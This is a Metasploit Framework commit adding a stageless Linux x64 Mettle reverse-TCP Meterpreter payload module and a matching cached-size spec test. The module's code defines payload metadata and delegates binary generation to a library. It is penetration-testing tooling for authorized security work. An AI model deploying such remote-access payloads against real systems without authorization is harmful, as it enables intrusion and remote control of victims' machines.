Skip to content

Commit 62a9a31

Browse files
committed
Add stageless mettle for Linux/x64
1 parent 7d36d41 commit 62a9a31

File tree

2 files changed

+51
-0
lines changed

2 files changed

+51
-0
lines changed
Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/handler/reverse_tcp'
8+
require 'msf/base/sessions/meterpreter_options'
9+
require 'msf/base/sessions/mettle_config'
10+
require 'msf/base/sessions/meterpreter_x64_mettle_linux'
11+
12+
module MetasploitModule
13+
14+
CachedSize = 289824
15+
16+
include Msf::Payload::Single
17+
include Msf::Sessions::MeterpreterOptions
18+
include Msf::Sessions::MettleConfig
19+
20+
def initialize(info = {})
21+
super(
22+
update_info(
23+
info,
24+
'Name' => 'Linux Meterpreter',
25+
'Description' => 'Run the mettle server payload (stageless)',
26+
'Author' => [
27+
'Adam Cammack <adam_cammack[at]rapid7.com>'
28+
],
29+
'Platform' => 'linux',
30+
'Arch' => ARCH_X64,
31+
'License' => MSF_LICENSE,
32+
'Handler' => Msf::Handler::ReverseTcp,
33+
'Session' => Msf::Sessions::Meterpreter_x64_Mettle_Linux
34+
)
35+
)
36+
end
37+
38+
def generate
39+
MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config).to_binary :exec
40+
end
41+
end

spec/modules/payloads_spec.rb

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4394,6 +4394,16 @@
43944394
reference_name: 'linux/x64/mettle/reverse_tcp'
43954395
end
43964396

4397+
context 'linux/x64/mettle_reverse_tcp' do
4398+
it_should_behave_like 'payload cached size is consistent',
4399+
ancestor_reference_names: [
4400+
'singles/linux/x64/mettle_reverse_tcp'
4401+
],
4402+
dynamic_size: false,
4403+
modules_pathname: modules_pathname,
4404+
reference_name: 'linux/x64/mettle_reverse_tcp'
4405+
end
4406+
43974407
context 'linux/x86/mettle/bind_ipv6_tcp' do
43984408
it_should_behave_like 'payload cached size is consistent',
43994409
ancestor_reference_names: [

0 commit comments

Comments
 (0)